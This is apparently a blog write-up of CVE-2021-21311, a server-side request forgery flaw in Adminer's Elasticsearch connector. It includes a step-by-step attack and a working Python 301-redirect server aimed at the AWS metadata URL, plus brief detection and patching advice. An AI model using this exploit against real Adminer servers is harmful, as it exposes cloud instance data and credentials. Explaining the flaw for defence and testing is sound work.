If you've been around web application penetration testing, it's pretty likely you'll know or have heard about Adminer. Adminer is a very convenient and easy to use open-source database management tool, it allows an administrator to connect in to the specified DBMS, run queries and manage their data – it's great, what could go wrong?
In versions 4.0.0 - 4.7.9 the addition of the Elasticsearch connector brought in the HIGH rated vulnerability, CVE-2021-21311. This allows unauthenticated attackers to trick the Adminer server to reach locations it was not intended to. The upshot being that it would dump the information to the page of the destination URL, unless it was a valid Elasticsearch instance. This may sound very pointless, but if we consider an AWS EC2 instance running Adminer, this could mean access to the AWS metadata URL and is the basis of the PDF document found here.
Below is a quick video outlining the vulnerability:
The steps are very simple:
- Step 1: An attacker locates a vulnerable instance with the Elasticsearch connector. They point to an IP address they control and fill in other fields with dummy data.
- Step 2: On machine with the IP address they're pointing to, they will run a webserver that does a 301 redirect to a location of their choosing. Ideally a metadata URL, but it could be another URL the machine can access, or even a running webservice on the machine. Below is an example server using Python, you'd want to change the
http://127.0.0.1:1337/secrets.txt
to be the desired location on the Adminer server, e.g,http://169.254.169.254/latest/dynamic/instance-identity/document
import SimpleHTTPServer
import SocketServer
def redirect_handler_factory(url):
"""
Returns a request handler class that redirects to supplied `url`
"""
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', url)
self.end_headers()
return RedirectHandler
def main():
redirectHandler = redirect_handler_factory("http://127.0.0.1:1337/secrets.txt")
handler = SocketServer.TCPServer(("", 80), redirectHandler)
print("serving at port 80")
handler.serve_forever()
if __name__ == "__main__":
main()
- Step 3: The redirect occurs on the server side after the connection is attempted and the information from the destination controlled by the attacker is dumped to the screen.
And... that's it! Very simple and very effective if you can locate a running service or a metadata URL.
In terms of defending against this, it should be easy to determine since there may be a lot of hits against the login to servers that are not localhost with the Elasticsearch connector. Whilst this is possible and allowable with the tool, in most cases this won't be the intended use.
Though this is an older vulnerability, it's still seen often and one to look out for. Keep Adminer hidden away from the Internet, and keep it up to date!